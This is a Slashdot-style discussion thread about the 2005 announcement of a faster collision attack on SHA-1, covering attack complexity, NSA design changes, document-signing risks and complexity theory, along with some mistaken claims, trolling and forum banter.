Re:Info on what exactly SHA-1 is ...

[Percent Man]

But if you created two documents with the same hash, and then I signed one, wouldn't you have to re-hash it after my signature? Consequently the presence of additional data (my signature) would result in a different output of the hash function than that generated by the unsigned original. The hashes are now different, and there's no way you can claim I signed the other document.

Assuming my digital signature contains some amount of random or non-predictable data, you couldn't even figure out beforehand what a signed document would hash to, and you'd have to start searching for a hash match after I'd signed the original.

Re:Info on what exactly SHA-1 is ...

[ComputerSlicer23]

They didn't want to make DES stronger, they wanted to keep "Differential Power" attacks secret. The problem with the old S-box and 112-bit key, was that it made a specific type of attack the NSA was regularly, more obvious and easier to find.

From what I've read, it was less to make DES stronger, and more that Differential Power attacks secret. They had National Security implications.

Kirby

Re:Info on what exactly SHA-1 is ...

[drew]

the issue is not the increase of computing power. this attack would be just as valid if all the improvements of the last ten years had never happened.

if you have an algorithm where the only known attack is a brute force attack, with 2^160 possible permutations, then it doesn't matter if you have a 100mhz computer or a 10ghz computer, the chances of finding a collision within a human lifetime are all but zero.

however, if you can reduce the number of permutations that you have to search through to 2^80, or 2^69, or less, you have dramatically increased your chances of finding a collision, regardless of what hardware you have to use.

all the advances in computer technology over the last 9 years only reduce the amount of time required to do an exhaustive search by a factor of 15. this discovery, if it's for real, reduces the amount of time by many, many orders of magnitude.

all that said, i still think the parent poster is being a little bit ridiculous. Regardless, increases in computing power have almost nothing to do with cryptographic attacks.

Re:Info on what exactly SHA-1 is ...

[Tassach]

Keep in mind that EVEN WITH this attack, SHA-1 is STILL incredibly hard to break. Yes, 2^69 is much easier to solve than 2^80, but (this is the important part), 2^69 is still computationally impractical.

No cryptosystem is 100% secure, other than a one-time-pad. Ditto for a (physical) safe. It's not a question of IF you can crack it, the question is HOW LONG will it take to crack it. As long as the time it takes to crack is significantly greater than the useful life of the information being protected, it's strong enough.

Let's say for sake of argument that a brute-force attack at 2^80 takes an average of 10,000 years. (2^69)/(2^80) = .0004882812, so now it only take an average of 4.9 years with the new attack.

There's no argument that this is a substantial reduction in time. The question is whether or not 4.9 years is "long enough". That depends on the application.

If the document you're hashing is a 30 year contract, then no, that's not long enough. But if it's a piece of software which will be obsolete in 1 year, you're probably safe. If it's a password which will be changed in 3 months, you're fine. If it's a session key that's only valid for an hour, it's overkill.

Re:Info on what exactly SHA-1 is ...

[Tassach]

If a foreign intelligence agency is using ANY electronic transmission to communicate with their US-based assets, they're fools. NSA is the best SIGINT agency in the world, anyone going head-to-head against them at their own game is asking to be spanked.

The smart spies use good-old-fashioned, low-tech methods like dead drops and face-to-face meetings. You can only defeat fieldcraft with fieldcraft -- it's pretty much immune to advances in technology. You can beat crypto by getting more/faster computers. You can only beat fieldcraft by putting more trained officers in the field.

Re:Info on what exactly SHA-1 is ...

[pclminion]

You mean differential cryptanalysis? What they did was manipulate the values of the S-boxes in a way that made the mapping immune to differential cryptanalysis. It wasn't a "weakness" in the cipher. The NSA (actually, the IBM team who was working for them) discovered differential before anybody else, and decided to strengthen the cipher against it in case somebody else discovered it. As a matter of fact, it was discovered soon thereafter.

Re:Info on what exactly SHA-1 is ...

[iabervon]

Half of the NSA's job is to recommend to the government security measures which are likely to protect it (and also, these days, to recommend such measures to vital national infrastructure in the private sector). If they know of a weakness in something, they're smart enough to guess that someone else will find the weakness before too long, and they won't recommend using it. "A Chinese group announces that they found a flaw we knew about in something we were still recommending" is an NSA director's worst nightmare.

Of course, it's possible that this flaw has been known to the NSA and they know of a reason that it is not going to lead to a worse break. They have said recently that by 2010, you should be using SHA-256 or SHA-512, so it's plausible that they understand exactly how deep this flaw goes, and 2010 is when a computer capable of implementing the best version of an algorithm of this form will be available.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

"It was a few years before public-sector cryptographers caught on to what the significance of the changes was."

I see you are in the "there are deep dark secrets" camp instead of the "just ask" camp.

Obviously, everyone interested looked at what it changed. And one weakness it corrected is obvious (and shouldn't be beyond you).

In the Initial setup of the 80 item W array in the standard, the XOR's are there to make each bit of the result depend on essentially everything that came before it. With the rotation this is mostly true. *HOWEVER* without the rotation some of the words XOR'd in at prior steps are in more than one prior item being XOR'd into the current word, an even number of times, and therefore cancel out and don't effect the current word.
So, instead of W sub 80 depending on all prior entries it only depends on somewhere around 4 or 5 of them.
This is easily checked by doing the algebra symbolicly for some arbitrary bit, since the bits in each W sub i were [before the change] independent of each other. What you see is that at the start each W starts depending on more and more of the predecessors, but then as you work down everything in sight starts canceling and the last items don't depend on much at all. [And remember that these last items are what are used in the final rounds)
With the change, the bits in each W item depend (since it is a rotate) on every bit from the original.

This was one of those "obvious from day one" items, not some "deep dark secret known only to secret organizations" item.

Re:Info on what exactly SHA-1 is ...

[Thundersnatch]

Actually, the NSA did try to protect the SHA hash from this sort of attack. After the initial publication of SHA, they quickly suggested a small change that made SHA stronger than the original SHA (now commonly called SHA-0). SHA-0 was found to be vulnerable to this collision-finding attack around the same time MD5 was. The changed algorithm from NSA (commonly called SHA-1) made it less vulnerable - but not invulnerable - to this style of attack.

For example, finding an arbitrary colision in SHA-1 requires 2^69 operations, while finding an arbitrary collision in SHA-0 only requires just 2^40 operations using a similar technique. That makes SHA-1 about 536 million times stronger than SHA-0 with respect to this collision-finding attack. So apparently the NSA really was trying to improve - not weaken - the SHA.

Re:Info on what exactly SHA-1 is ...

[Eivind]

It depends on the details of the attack. It's not yet publically available so obviosly I haven't read it.

In general many attacks allow you to select the first arbitrary number of blocks freely, and then only to append a few blocks of carefully selected gibberish to make the whole experience a collection with a completely different document with different gibberish at the end.

Many file-formats (for example Word documents, jpeg-pictures and mp3-songs) allow the insertion of arbitrary blocks of gibberish without affecting how the file is displayed or played back.

It is a problem if you use GPG to digitally sign a certain word-document, or a certain jpeg as coming from you. And then someone substitutes a completely different jpeg or word-document and the recipient trust you signature and assume it is from you. The recipient would very likely not notice that the word-document has gibberish in a no-op part of the file or that the jpeg has gibberish in a comment-block.

So, short story: Often a document *is* perfectly readable and nothing suspicious is noticed by the receiver, even if the file infact contains one or more blocks of gibberish.

Obviosly if the attack requires that the *entire* file be specially selected gibberish the receiver would probably notice.

This all being said sha1 is still fairly secure for what most people use it for. The attack "only" reduces the complexity of finding two strings with a identical hash from the theoretical max of 2^80 (because sha1 is a 160 bit hash) down to 2^69. That's a reduction by a factor of 2048, so it's clearly a big deal. 2^69 is still enough complexity to give atleast some security.

I'd say it's a "Look for alternatives -- NOW" kind of announcement, not a "Panic -- NOW" kind of announcement.

Re:Info on what exactly SHA-1 is ...

[Anonymous Coward]

Then you must consider all hashes broken because

- there is an infinite number of possible documents (just add another word to any given document to create yet another document)

- the number of possible hash values of a given length (number of bits) is finite.

The purpose of a hash is to reduce the amount of information. The only hash value that you would not consider broken would be at least as long as the document, and that fails the definition of hash value.

Re:Info on what exactly SHA-1 is ...

[elemental23]

Don't bother. Digital Fortress, the only Dan Brown book I've read, is the biggest heap of shit I've ever wasted my time on.

Re:Info on what exactly SHA-1 is ...

[Eivind]

Not at all. It's like you say perfectly obvious that any hash that is shorter than the document (and if it wasn't there'd be little point) will have collisions.

All we require is that it be computationally hard to find such collisions, at best so hard that there is no easier way than simply hashing random strings over and over until you by luck find two that have the same hash.

If sha1 was that good, then it'd have complexity 2^80 or so to find two strings with identical hash. The new paper (claims to -- it's not public yet) have a method with complexity only 2^69 for doing that. This means finding collisons in sha1 is 2048 times easier than we knew.

Re:Info on what exactly SHA-1 is ...

[darkwhite]

I think any properly designed crypto application would salt the document being signed before signing it, which would render this attack impossible.

I think there's a lot of misunderstanding going on where cryptographers talk about a "break" where the computational complexity for breaking an algorithm is somewhat reduced, but due to proper safeguards in the design and applications of the algorithm, it's not possible to exploit it. Then users unacquainted with the details claim that the algorithm is now useless and decide to switch to one algorithm in favor of another, in the process very possibly making themselves more vulnerable than they were in the first place.

Re:Info on what exactly SHA-1 is ...

[Eivind]

You are correct, salting the document before signing it will prevent the attack I described.

I agree a well-designed cryptosystem should do this, hopefully you're rigth that they do.

It's true this is academic research. 2^70 is still reasonable complexity for most everyday applications. There's certainly no need for users to panic. I do however think it's prudent for designers and developers of cryptographic systems to consider migrating to another hash.

Hmm

[Jicksta]

So... anyone care to explain exactly what SHA-1 is?

Re:Hmm

[metlin]

It's a hashing algorithm - SHA stands for Secure Hashing Algorithm.

Is it so hard to look it up?

Re:Hmm

[mboverload]

http://en.wikipedia.org/wiki/SHA_family

Re:Hmm

[defile]

If your system has an md5sum command, it will also have a sha1sum command. Same idea, different output: feed each of them a file and they will give you a hash of that file that fits in 128-bits (md5) or 160-bits (sha1).

In practice, no two files (or period of a data stream) will have the same signature. Hashing algorithms are used in data integrity checks and authentication.

An sha1 crack likely means that they found a way to make tampered data still hash to a desired value, maybe.

sha1 and md5 are generally considered so weak that they should only be used to combat error or accidents, not fraud.

Re:Hmm

[Anonymous Coward]

So... anyone care to explain exactly what SHA-1 is?

Sure. SHA-1 is something you could and should look up, thereby gaining an answer more quickly, and not wasting the time of others in a techinical forum.

Next week: How to find the number for 911.

Re:Hmm

[Donny Smith]

> So... anyone care to explain exactly what SHA-1 is?

So... Anyone care to mark the fucking string, right click SHA-1 and choose Search the Web for "SHA-1"?
How hard is that?

Re:Hmm

[mek2600]

Fucking Google It

Re:Hmm

[Anonymous Coward]

Ya.. 20 years ago we used a hashing algorithm at college. Not sure how secure it was but we got really messed up.

Re:Hmm

[Anonymous Coward]

> sha1 and md5 are generally considered so weak that they should only be used to combat error or accidents, not fraud

No. At least, until very recently, SHA-1 was considered a serious cryptographic hash function, well suited for digital signatures and such.

Maybe you're mixing them with CRC-32, which is indeed well suited to combat transmission errors, but not intentional foul-plays.

Re:Hmm

[MindStalker]

sha1 and md5 are generally considered so weak that they should only be used to combat error or accidents, not fraud.

Not untill resently they wern't.

Btw anyone know what hash GPG uses for signing?

Re:Hmm

[Anonymous Coward]

In practice, no two files (or period of a data stream) will have the same signature. Hashing algorithms are used in data integrity checks and authentication.

I think you mean in theory, not in practice. In theory, theory and practice are the same, but in practice they're different.

Re:Hmm

[Tongo]

When the holy fuck did this become a technical forum?!?!

Re:Hmm

[Anonymous Coward]

more like shot hashing algorithm.

Re:Hmm

[DaCool42]

DSA or RSA.

Re:Hmm

[infiniti99]

sha1 and md5 are generally considered so weak that they should only be used to combat error or accidents, not fraud.

Not true. SHA-1 is the hashing algorithm of practically all common security standards. It's found in SSL/TLS, X.509, PGP (the protocol, not the program, so that means GPG also!), S/MIME, etc. In other words... everything. Replacing this is going to suck. :(

Re:Hmm

[schon]

An sha1 crack likely means that they found a way to make tampered data still hash to a desired value

Or that they found a (fast/non-brute-force) method to translate any given hash into an 'unhashed' value.

Re:Hmm

[unitron]

So does that mean they'll have to start calling it NSSHA (Not So Secure Hashing Algorithm)?

Re:Hmm

[MindStalker]

I believe they use RSA encyption for signing, but they don't sign the entire message, instead they sign a hash. Is this hash based on the same methods and exploitable?

Re:Hmm

[Anonymous Coward]

That's a cute saying, but you're exactly wrong. In theory, there will be collisions. In practice, they were so rare as to be negligible. Now, there is apparently a means of producing them as required.

Re:Hmm

[cecom]

Surely you mean 'unhashed' values, not value. A 160-bit hash value can map to about 4 billion 'unhashed' values of length 192-bits - good luck finding the right one :-)

Re:Hmm

[Anonymous Coward]

Technically, it could best be described as a troll road. And it's Tuesday. So there you go. Pay the troll! [tt]

Re:Hmm

[Mjec]

Actually I think you'll find that before 17 Aug 2004 MD5 was considered strong-but-possibly-flawed and SHA1 has been considered the best we have to prevent fraud until today. There is nothing better and widely distributed in the same digital signature fruad prevention class. This same research team has done some work against the best competitor, RIPEMD, so we're pretty much, as a child of FP said, pwn3d.

Re:Hmm

[LnxAddct]

Relax... it still takes 2^69 tries. That is 590,295,810,358,705,651,712 hash operations. To brute force sha-1 it takes 2**80. This is only 2**11 times faster then a brute force attack... thats 2048 times faster. Its significant but it's not that big of a deal. It is no more significant then if someone with a 2000 node cluster tried to brute force your hash (which is completely feasible...especially for large government agencies like the NSA). In other words, if you were capable of performing 1 trillion (1,000,000,000,000) hash operations per second, it'd still take nearly 19 years for a collision to be found. I assume the NSA can knock that number down to under 24 hours, but thats expected of them. For anyone else in the world, assuming your not being followed by the NSA... and god help you if you are... sha-1 will still be fine and the entire internet security infastructure will not need to be redesigned.
Regards,
Steve

Re:Hmm

[Simon Garlick]

I believe current versions of GnuPG support MD5, SHA-1, and RIPEMD-60.

Re:Hmm

[Simon Garlick]

Errr... that should be RIPEMD-160, of course.

Re:Hmm

[Simon Garlick]

When you're talking about regulatory compliance, this is a big deal. Pieces of legislation such as HIPAA, Sarbanes-Oxley, BASEL II, GLBA, and SB-1386 mandate retention of enormous amounts of verifiably-unchanged data, and the integrity-assurance segment relies very heavily on SHA-1.

Re:Hmm

[Kunnis]

Parent is wrong. The entire point of the news article is that if the algo has been cracked, that means that I can create a stream with a target sum, without having to brute force it. They probably found a mathmatical weakness that really reduces the size of the search space.

Re:Hmm

[LnxAddct]

They reduced it from 2**80 to 2**69. And the paper hasnt even been released yet so noone knows if that is even accurate.
Regards,
Steve

Re:Hmm

[Kunnis]

I mis-read the article... But that is still a major weakness. The algo is 2**11 times weaker now, but isn't the end of the world.

Re:Hmm

[kcelery]

iSHA

Re:Hmm

[boots@work]

sha1 and md5 are generally considered so weak that they should only be used to combat error or accidents, not fraud.

Do you have any evidence for that? SSL, PGP and NTLM all depend on them, as far as I know.

Re:Hmm

[Anonymous Coward]

If your system has an md5sum command, it will also have a sha1sum command.

Errrrmmm, nope:

$ type md5sum
md5sum is hashed (/sw/bin/md5sum)
$ type sha1sum
-bash: type: sha1sum: not found
$ uname -sr
Darwin 7.8.0

So, looks like I am using OS X with Fink, and I did no particular magic to try to get md5sum and while excluding sha1sum, and yet md5sum does exist but sha1sum doesn't.

Re:Hmm

[Kynde]

sha1 and md5 are generally considered so weak that they should only be used to combat error or accidents, not fraud.

Not true. SHA-1 is the hashing algorithm of practically all common security standards. It's found in SSL/TLS, X.509, PGP (the protocol, not the program, so that means GPG also!), S/MIME, etc. In other words... everything. Replacing this is going to suck. :(

So true. Even the kernel uses that in it's random pools that provide /dev/random and /dev/urandom... not that this weak collision will have didley effect on it's security, but still.

Re:Hmm

[bani]

thats all fine and dandy till someone comes up with a distributed cracker (worm? virus?) to get 500,000 rooted boxen silently working the problem. suddenly your 19 years turns into less than 30 days.

Re:Hmm

[Anonymous Coward]

Uh, so why's it a big deal? Pieces of legislation legislating bad practices and bad science aren't new. Each of these boondoggles can continue specifying SHA-1 until pigs fly and noone will care; or if a lobbyest favorate big-5 consulting donor suddenly figures out how to use SHA-256 (or, better, something weaker, so they can repeat the process) they can issue another Y2K-scale panic by legislating something different.

OHNO!

[Anonymous Coward]

the world is ending!

Well

[metlin]

Had to happen, didn't it?

No algorithm is all-powerful - it only withstands attacks for so long.

The strength of the algorithm lies in how long it can stand up - to attacks and to future technologies.

Re:Well

[FireballX301]

Of course they're not supposed to be all-powerful, but considering details as to how exactly the algorithm is broken are not available, I'm quite interested as to how they broke it.

I'm particularly worried about BT users, personally. The breaking of SHA-1 will essentially allow the RIAA and others to corrupt many bittorrent downloads.

Re:Well

[Anonymous Coward]

No algorithm is all-powerful - it only withstands attacks for so long.

Er, would you care to prove this?

Re:Well

[felipin-sioux]

Well, time to switch to passPhrashes!

Re:Well

[metlin]

Sure, even if you cannot crack an algorithm, you can always brute-force it.

Which is why I added the line, "attacks and technology" in the last line. For instance, if QC were to become real, one can always brute-force an algorithm.

While I do not feel am competent enough to prove formally my argument, I would think that I'm quite certain of its validity.

Re:Well

[Anthony Liguori]

Had to happen, didn't it?

No algorithm is all-powerful - it only withstands attacks for so long.

No, it didn't. In fact, this is the most important problem in CS. The theory is that there are certainly problems where checking a solution is easy (2 and 3 are unique factors of 6 because it's easy to see that 2*3 == 6) but where the only possible way to find the solution given the answer is to compute the solution for every possible answer.

It's not been proven whether hashing is this type of problem (whether it's NP-complete). Moreover, it's never been proven that there isn't a solution for problems we think are NP.

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

Re:Well

[Herbmaster]

That any algorithm is vulnerable to brute-force attacks is totally uninteresting. It's a given in cryptography that given encrypted data, you can try all the possible keys, or re-hash lots of data, until you find one that works. It's up to you to pick a key long enough that it will take anyone else an impractically long time to crack it.

Now, that has nothing to do with this article. These guys are alleging that SHA-1 can be defeated significantly faster than brute-force. This would be a defect in the algorithm and potentially a bad thing. So did this "have to happen"? No, absolutely not. Some algorithms are provably secure for certain purposes.

Re:Well

[tonywestonuk]

How about:

X=AB , where A and B are primes

(Nice simple formula, but try finding an easy way of getting A or B given X)

Re:Well

[Anonymous Coward]

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

Not much of a proof, really. It's just the definition of the class "NP-complete", and how we prove problems are in that class. Of course, "NP-hard" is something different. The interesting thing is the name of the class - not "Non-Polynomial" (as in time), but "solvable by a Non-deterministic machine in Polynomial time". And, in fact, reverse hashing (as you describe it) is certainly NOT an NP-complete problem. The class NP-complete is restricted to decision problems. Your problem might possibly be NP-hard, depending on the hash algorithm.

Twit. Try not to appear too self-important unless you really know what you are talking about. [tt]

Re:Well

[Daniel]

My complexity theory may be rusty, but I could swear that the factorization problem is only conjectured to be NP-complete.

Ok, I checked Wikipedia: if the entry is right, factorization is known (of course) to be in NP and coNP. It is not, however, known to be NP-complete or coNP-complete, and in fact it's conjectured to be neither (if it was NP-complete or coNP-complete, we would get NP=coNP, which is thought to be false). As you pointed out, it's also conjectured to be outside P, mainly because no-one can seem to find a polynomial-time algorithm for it.

Daniel

Re:Well

[Anthony Liguori]

Not much of a proof, really. It's just the definition of the class "NP-complete", and how we prove problems are in that class.

Proving that all known NP-complete classes are isomorphic was quite a big deal.

And, in fact, reverse hashing (as you describe it) is certainly NOT an NP-complete problem.

I knew this would happen. Actually, composite factoring has *not* been proven to be NP-hard. Whether it's NP-complete depends largely on whether it's NP-hard.

Re:Well

[Daniel]

For instance, if QC were to become real, one can always brute-force an algorithm.

Only if you can find a fast quantum algorithm for every hard problem. I haven't studied quantum computing much, but my understanding is that it's at least an open question whether you can even get fast solutions to all of NP, leaning towards the negative. eg: for what it's worth, Wikipedia says that "BQP is suspected to be disjoint from NP-complete and a strict superset of P, but that is not known... There is a common misconception that quantum computers can solve NP-complete problems in polynomial time. That is not known to be true, and is generally suspected to be false."

Daniel

Re:Well

[Anonymous Coward]

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

And boy, aren't there going to be a lot of sad security programmers when that day rolls around.

Re:Well

[kallisti]

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

That's true by definition, in fact it means that we'll have a solution for all NP, since P will be equal to NP. That's not the whole story, though. There are further classes such as PSPACE and EXPTIME and a whole lot more

Re:Well

[Anthony Liguori]

Ok, I checked Wikipedia: if the entry is right, factorization is known (of course) to be in NP and coNP

I tried not to state that factorization was NP-complete. It's just merely a simple example of an NP problem that most people can easily understand.

Re:Well

[ityllux]

No, it didn't. In fact, this is the most important problem in CS. The theory is that there are certainly problems where checking a solution is easy (2 and 3 are unique factors of 6 because it's easy to see that 2*3 == 6) but where the only possible way to find the solution given the answer is to compute the solution for every possible answer.

It's not been proven whether hashing is this type of problem (whether it's NP-complete). Moreover, it's never been proven that there isn't a solution for problems we think are NP.

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

Your example doesn't really make too much sense, and your definition of NP-complete is purely wrong. There are easily demonstrable problems that are not NP-complete where you have to compute the solution for every possible answer, because they are not even in NP to begin with. Example: "If I removed a city from a set of cities in the traveling salesman problem, which city removal would cause the largest reduction in the shortest path length?" In this problem, each possible "answer" (to use your terminology) is NP-complete, thus yielding a non-NP and therefore non-NP-complete solution (unless P==NP).

Furthermore, an NP-complete problem is not unsolvable as you state -- in fact, to be labeled as NP-complete, a solution has to be known. The solution must be formed in terms of a polynomial-time "reduction" from another NP-complete problem. To be NP-complete means merely that the only known solutions would require a non-deterministic "computer" to solve them in polynomial time. As we don't exactly have such machines sitting around, we have to rely on non-polynomial solutions.

Now if we can figure out a way to compute an NP-complete problem in deterministic polynomial time, then all NP-complete problems will be able to be solved in deterministic polynomial time (since all NP-complete problems are declared NP-complete by relating them to each other). But there was always a known solution.

Re:Well

[andersa]

No, it didn't. In fact, this is the most important problem in CS.

Nahh.. The most important problem in CS are those annoying campers.

Re:Well

[poopdeville]

Wikipedia is obviously wrong (again) since P is contained in NP. So BQP cannot be disjoint from NP.

Re:Well

[hankaholic]

Where, oh where, have my mod points gone...

The parent's explanation wouldn't have made a lick of sense to anyone who hadn't already heard of NP, and wouldn't parse much better for those who had.

Thanks for writing an informed explanation. It's still a tad above the heads of the masses (of which I'm a card-carrying member -- goooo flock!), but I'll take commentary written for a higher level of readership over a poorly related summary of CS buzzwords any day.

For those impaired, this isn't sarcastic -- this is one of the few posts in this discussion that deserves to be modded to +5. Instead we have high ratings on "well, let's overreact and pretend we're qualified to declare SHA-1 useless as a general-purpose hash function despite not having read the paper or understood the math involved!"

Re:Well

[Anonymous Coward]

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

To be more accurate, what is proven is that when we have a solution for one NP-hard problem that runs in polynomial time, we have a polynomial time solution for all NP problems.
This doesn't mean that the solution is usable, its running time may have an insanely large constant factor or be of very high degree. Even more, there's nothing that prevents NP-complete problems from having these factors vastly different from each other. One (set of) NP-complete problems might be realistically solvable while some other isn't.

Re:Well

[Anonymous Coward]

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

And what does that have to do with the price of tea in China?

Re:Well

[Anonymous Coward]

What kind of sorry state is Slashdot in for this garbage to be +5 Informative?

Re:Well

[Anonymous Coward]

It's not been proven whether hashing is this type of problem (whether it's NP-complete). Moreover, it's never been proven that there isn't a solution for problems we think are NP.

What's more, it *has* been proven that once we find a solution to an NP-complete problem we'll instantly have solutions for *every* NP-complete problem.

The comment that you responded to was that an algorithm only can withstand attacks for so long. Well, since you are apparently interested in complexity theory, you ought to keep in mind this observation, which was made as a joke but is nevertheless true:

As long as Moore's Law holds, P = NP.

For those who didn't grasp the significance of that, the point here is that any problem that takes an exponentially large amount of computation to solve can be solved in polynomial time if computers continue to exponentially increase in computational capacity.

So, either Moore's Law does not hold, or it truly is only a matter of time before we have the capacity to brute force any hashing algorithm. And the amount of time before we can brute force it is simply proportional to the average time to compute the hash of a value, since Moore's Law takes care of the other part (computing hashes of all possible inputs up to a certain length).

Re:Well

[Anonymous Coward]

I blame michael. Timothy also, but mostly michael.

Re:Well

[Deliveranc3]

Every slashdot reader has seen Sneakers :P

Yes they are badass, no it will probably never happen.

Though they are working on legislation for blind driving :P

Re:Well

[Ronin SpoilSpot]

Proving that all known NP-complete classes are isomorphic was quite a big deal.

Not really, it follows directly from the definition of being NP-complete:

A decission problem is NP hard if any problem in NP can be reduced to it (by a log-space reduction). A decission problem is NP complete if it is NP hard and is in NP itself.

Hence, if two problems are both NP complete, then they can be reduced to each other (which I assume is what you mean by "isomorphic").

The real meat was in identifying the NP complete problems, i.e., showing that the set of NP complete problems is non-empty.

"Composite factoring" isn't a decission problem, so it can't be in NP (the classes of decission problems that can be solved in polynomial time by a non-deterministic Turing machine, or equivalent, for which there are polynomially checkable proofs).

"Compositeness" (the class of decission problems on the form: given a number, is it composite) is in NP (and co-NP), and is not believed to be NP-hard.

/RS

Re:Well

[lisaparratt]

As we don't exactly have such machines sitting around, we have to rely on non-polynomial solutions. Unless you're lucky enough to have a quantum computer somewhere, anyway :)

Re:Well

[0ptix]

In fact there have been a few reductions as far as hashing is concerned. Specificaly it has been showen that hash functions can be created where breaking them (in the existential collisions sense as well as inverting them) is polynomially reducable to factoring large Blum integers (n = p*q where p and q are two large roughly equaly sized primes) or where breaking the hash function is polynomially reducable to solving the descrete log problem.

more precicely the methods i refer to rely on the existance and security of pairs of claw free one way functions. that is f_1 and f_2 with the porperty that its hard (computationaly impossible) to find a pair x_1 and x_2 such that f_1(x_1) = f_2(x_2). such functions have intern been showen to exists based on the hardness of the DLP or on finding both square roots of quadratic residues mod a (large enough) blum integer. and finding both roots of quadratic residues mod a blum int is hard if factoring the blum int is hard.

Re:Well

[0ptix]

PS: The problem with useing these these hash functions is that they are quite inefficient. For example the one based on factoring Blum ints. requires a modular exponentiation for every bit of the input to the hash function. so for password hashing this might still somehow be feasible but for hashing an ISO for example or for integrity of network comunication (where things need to be calculated in real time) these functions are of no use. still theoretically it does show that (given some basic common assumptions) hash functions do NOT have be breakable.

Re:Well

[archeopterix]

Ok, I checked Wikipedia: if the entry is right, factorization is known (of course) to be in NP and coNP.

What you described is called TFNP - total functions computable by a nondeterministic machine in polynomial time. For every input a solution is guaranteed to exist and can be computed nondeterministically in polynomial time (and is usually hard to find deterministically).

A classic example is finding two inputs to a n-input,(n-1)-output logic network that give the same output results. By the pigeonhole principle they must exist, but no deterministic algorithm is know to find the solution in polynomial time.

This is an interesting class - as far as I know no TFNP-complete problems have been found so far. Several sub-classes of TFNP have been defined, each having a complete problem.

Re:Well

[Anonymous Coward]

We need more salt....

emdedded salt
+
individual 'private' salt

try cracking that without the private salt.

Re:Well

[Daniel]

Yeah, that's a lot more obvious now that I'm awake :P

Daniel

Re:Well

[Daniel]

But not totally awake, evidently. As I quoted, the article says BQP is disjoint from NP-complete, not NP. There's an important distinction there...

Danieil

Re:Well

[Anonymous Coward]

"Compositeness" is in P because PRIMES is in P.

Re:Well

[Xerxes3rd]

That's why I play Tetris for hours each day.

Re:Broken or not?

[defile]

It is when Bruce Schneir says so.

For more info

[response3]

I'm not sure if this post is news or what, but for more info, click here:

http://www.itl.nist.gov/fipspubs/fip180-1.htm

Re:For more info

[Anonymous Coward]

For public distribution (13 Feb 2005):

Anti-slash confirms: Slashdot's editors are dying.

In another devistating blow to slashdot's editors, it was learned that Michael was fired as an editor on slashdot. We at anti-slash are proud to have brought about this partial victory by our unrelenting jihad of bringing their injustices to light.

The specifics of this case are documented in this post:

http://slashdot.org/comments.pl?sid=138099&cid=1 15 70041

Quote:

I got this from a verified source who's in the know:

Long story short, michael was canned for his abusive and egotistical personality.

Rob's been building a list of complaints by users about michael's abusive patterns but he never acted on it. Well, michael managed to bitchslap one of Rob's old college buddies' accounts along with a couple of paid accounts, word eventually filtered down to Rob, and he had kittens. He convinced michael's OSTG manager to track him down and drag him into a conference call.

Rob laid down the law and started reading off complaints and michael raised his voice, saying that if Rob had a personal problem with him that he didn't need to go over his head and involve his manager in it.

During the shouting match, michael's editor flag was revoked. He was in the admin area at the time and he noticed.

At this point he went totally ballistic and started screaming about how this was why he moved, to get away from "arrogant elitist bullshit". (this is a direct quote.. michael actually did move from New York to Canada to protest George W. Bush's inauguration in 2001. Andover kept him on since it was only an all-remote job anyway.)

michael's manager ducked out of the call to page (read: wake up) Hemos (overseas on business) to three-way him into the call, to try and calm everyone down.

There was some more shouting, and michael's manager told him that things aren't working out well, and that he's going to recommend that his employment be terminated.

michael just hung up, and that was the end of the call as well as michael's employment with OSTG.

This can be confirmed by visiting http://slashdot.org/authors.pl. Michael is not listed.

Fact: Slashdot's editors are dying

Re:For more info

[Anonymous Coward]

Don't you mean "For pubic distribution"? [tt]

Start recoding

[Anonymous Coward]

I've now got to go recode many many applications. We've been scrooged folks! My comment starts with Oh and ends with a word very similar to fsck.

But I still won't believe it till Netcraft confirms it!

Re:Start recoding

[NoMoreNicksLeft]

It is official; Netcraft confirms: SHA1 is dying

One more crippling bombshell hit the already beleaguered cryptohash community when IDC confirmed that cryptohash market share has dropped yet again, now down to less than a fraction of 1 percent of all cryptographic algorithms. Coming on the heels of a recent Netcraft survey which plainly states that SHA1 has lost more market share, this news serves to reinforce what we've known all along. SHA1 is collapsing in complete disarray, as fittingly exemplified by failing dead last in the recent Sys Admin comprehensive cryptography test.

You don't need to be a Kreskin to predict SHA1's future. The hand writing is on the wall: SHA1 faces a bleak future. In fact there won't be any future at all for SHA1 because SHA1 is dying. Things are looking very bad for SHA1. As many of us are already aware, SHA1 continues to lose market share. Red ink flows like a river of blood.

SHA1 is the most endangered of them all, having lost 93% of its core developers. The sudden and unpleasant departures of long time SHA1 developers Jordan Hubbard and Mike Smith only serve to underscore the point more clearly. There can no longer be any doubt: SHA1 is dying.

Let's keep to the facts and look at the numbers.

MD4 leader Theo states that there are 7000 users of MD4. How many users of MD5 are there? Let's see. The number of MD4 versus MD5 posts on Usenet is roughly in ratio of 5 to 1. Therefore there are about 7000/5 = 1400 MD5 users. SHA2 posts on Usenet are about half of the volume of MD5 posts. Therefore there are about 700 users of SHA2. A recent article put SHA1 at about 80 percent of the cryptohash market. Therefore there are (7000+1400+700)*4 = 36400 SHA1 users. This is consistent with the number of SHA1 Usenet posts.

Due to the troubles of Walnut Creek, abysmal sales and so on, SHA1 went out of business and was taken over by RSA who sell another troubled cryptohash. Now RSA is also dead, its corpse turned over to yet another charnel house.

All major surveys show that SHA1 has steadily declined in market share. SHA1 is very sick and its long term survival prospects are very dim. If SHA1 is to survive at all it will be among cryptographic dilettante dabblers. SHA1 continues to decay. Nothing short of a miracle could save it at this point in time. For all practical purposes, SHA1 is dead.

Fact: SHA1 is dying

Prison.

[Seumas]

A lot of companies and products use SHA1 in some form or another. Does this mean that we can arrest and imprison these "researchers" if they ever step foot in America?

Re:Prison.

[Anonymous Coward]

I am not sure how this goes...

Welcome to planet Earth.

We speak English as you do, but I think you are talking about the Universe YOU come from....

Re:Prison.

[Anonymous Coward]

It's your patriotic duty.

Re:Prison.

[Anonymous Coward]

The problem is that nowadays not so many (intelligent) people are that keen on coming to the U.S.

